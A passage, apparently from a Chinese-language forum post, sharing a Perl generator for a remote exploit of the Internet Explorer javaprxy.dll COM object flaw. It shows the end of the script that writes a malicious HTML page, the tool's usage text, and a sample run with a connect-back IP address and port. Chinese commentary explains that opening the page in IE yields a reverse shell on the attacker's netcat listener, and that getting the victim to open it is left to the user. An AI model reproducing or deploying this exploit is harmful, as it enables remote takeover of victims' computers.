# javaprxy.dll
my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0';
# footer
my $footer = "<object classid=\"CLSID:".$clsid."\"></object>\n".
"Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit\n".
"by the FrSIRT < [url]http://www.frsirt.com[/url] >\n".
"reverse shellcode by 无敌最寂寞[EST]\n".
"Solution - [url]http://www.frsirt.com/english/advisories/2005/0935[/url]".
"</body><script>location.reload();</script></html>";
open(FILE,">$file") || die "[+]ERROR!open file failed!\n";
print FILE "$header $jedi $code $footer";
close FILE;
print "DONE\n\n";
print "CHECK if it does WORK!\n";
程序的帮助信息如下：
H:\temp>doomie.pl
Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit
connect back shell rewritten by 无敌最寂寞[EST]
Usage:
doomie.pl <connect-back-ip> <connect-back-port> [destination file]
Attention:if [destination file] is omitted,superlone.html will be default!
[-]ERROR! connect back ip must be specified!
参数前两个我就不用多说了吧，最后一个是要生成的文件的文件名，比如dest.html，如果省略默认的文件名是superlone.html。
好，我们来实际生成一个看看：
H:\temp>doomie.pl 222.133.151.197 1314
Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit
connect back shell rewritten by 无敌最寂寞[EST]
Usage:
doomie.pl <connect-back-ip> <connect-back-port> [destination file]
Attention:if [destination file] is omitted,superlone.html will be default!
[+]Generating Shellcode ......DONE
[+]Creating exploitable file ......DONE
CHECK if it does WORK!
这样在程序的同目录下生成了一个默认文件名superlone.html的文件。
用ie打开它就会引发溢出，如果你 lucky enough，那就去你的nc检查一下看看是不是得到shell了吧。。
至于怎么让目标机器运行，那是你的事啦，与我无关的说！
以下是我在远程机器上测试后的截图,在此我要感谢论坛的xyzreg兄帮忙测试:
刚才在测试当中又发现了几个错误，现已一一修改了~~~ |
